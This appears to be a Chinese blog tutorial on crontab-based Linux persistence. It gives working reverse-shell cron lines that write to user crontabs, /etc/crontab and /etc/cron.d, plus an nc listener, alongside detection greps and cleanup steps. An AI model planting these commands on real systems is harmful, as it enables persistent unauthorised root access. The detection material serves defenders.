Linux权限维持(五):计划任务后门——Crontab反弹Shell

一、原理简述

通过 crontab 设置定时任务,定期执行恶意脚本(如反弹 Shell),实现持久化控制。即使系统重启、用户退出,后门仍会按照设定的时间间隔自动执行。

一句话原理:给系统安排一个“定时闹钟”,每隔一段时间自动执行后门命令。


二、植入命令

方法1:编辑当前用户的 crontab

crontab-e

添加一行(每分钟执行一次):

*/1 * * * * bash -i >& /dev/tcp/攻击者IP/4444 0>&1

方法2:写入系统级 crontab

echo "*/1 * * * * root bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" >> /etc/crontab

ad1a1b718320260602095349

方法3:写入 cron.d 目录

echo "*/1 * * * * root bash -i >& /dev/tcp/192.168.91.128/5555 0>&1" > /etc/cron.d/evil

三、触发方式

条件 说明
时间到达 每分钟(或设定的时间)自动执行
无需用户登录 系统 crond 服务自动触发
重启后仍在 定时任务持久化保存

四、攻击者监听

在攻击者机器上(IP: 192.168.1.100)执行:

nc -lvnp 5555

等待目标服务器每分钟到达时,自动反弹 Shell。

ad1a1b718320260602095550


五、原理详解

部分 含义
*/1 * * * * 每分钟执行一次(crontab 时间表达式)
bash -i 启动交互式 bash
>& /dev/tcp/IP/端口 将标准输出和错误输出重定向到目标 IP 的端口
0>&1 将标准输入也重定向到同一个连接
nc -lvnp 4444 攻击者监听 4444 端口,等待连接

Crontab 时间格式

*    *    *    *    *
│    │    │    │    │
│    │    │    │    └─── 星期几 (0-7, 0和7都代表周日)
│    │    │    └─────── 月份 (1-12)
│    │    └─────────── 日期 (1-31)
│    └─────────────── 小时 (0-23)
└─────────────────── 分钟 (0-59)

常用例子:

  • */1 * * * * = 每分钟

  • 0 */2 * * * = 每2小时

  • 0 0 * * * = 每天零点

  • @reboot = 重启时执行一次


六、排查方法

1. 查看当前用户的 crontab

crontab -l

2. 查看 root 的 crontab

crontab -l -u root

3. 查看系统级 crontab

cat /etc/crontab

4. 查看 cron.d 目录

ls -la /etc/cron.d/
cat /etc/cron.d/* 2>/dev/null

5. 查看用户各自的 crontab

ls -la /var/spool/cron/

6. 搜索反弹 Shell 特征

grep -r -E "bash -i|/dev/tcp|nc -e" /etc/cron* /var/spool/cron/ 2>/dev/null

ad1a1b718320260602095841

七、清除方法

# 1. 编辑删除恶意行
crontab -e
# 删除包含反弹 Shell 的那一行

# 2. 或者直接清空(谨慎)
crontab -r

# 3. 删除系统级任务
sed -i '/\/dev\/tcp/d' /etc/crontab
rm -f /etc/cron.d/evil

# 4. 重启 crond 服务(可选)
systemctl restart crond

八、与其他后门对比

对比项 Crontab 后门 SSH Wrapper 后门 strace 后门
持久化 ✅ 重启仍在 ✅ 重启仍在 ✅ 重启仍在
需要用户操作 ❌ 自动执行 ✅ 需要 SSH 连接 ✅ 需要执行 ssh 命令
触发方式 定时 特定源端口 用户使用 ssh
隐蔽性 中等 较高 较低
排查难度 低(查 crontab) 中(查文件替换) 低(查 alias)

九、快速检测命令

# 一条命令检测所有位置的 crontab 后门
(crontab -l 2>/dev/null; cat /etc/crontab 2>/dev/null; cat /etc/cron.d/* 2>/dev/null) | grep -E "bash -i|/dev/tcp|nc -e|python -c"

十、RHEL 8 特别说明

在 RHEL 8 上:

  • crond 服务名是 crond(不是 cron)

  • 查看服务状态:systemctl status crond

  • 日志位置:/var/log/cron


© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容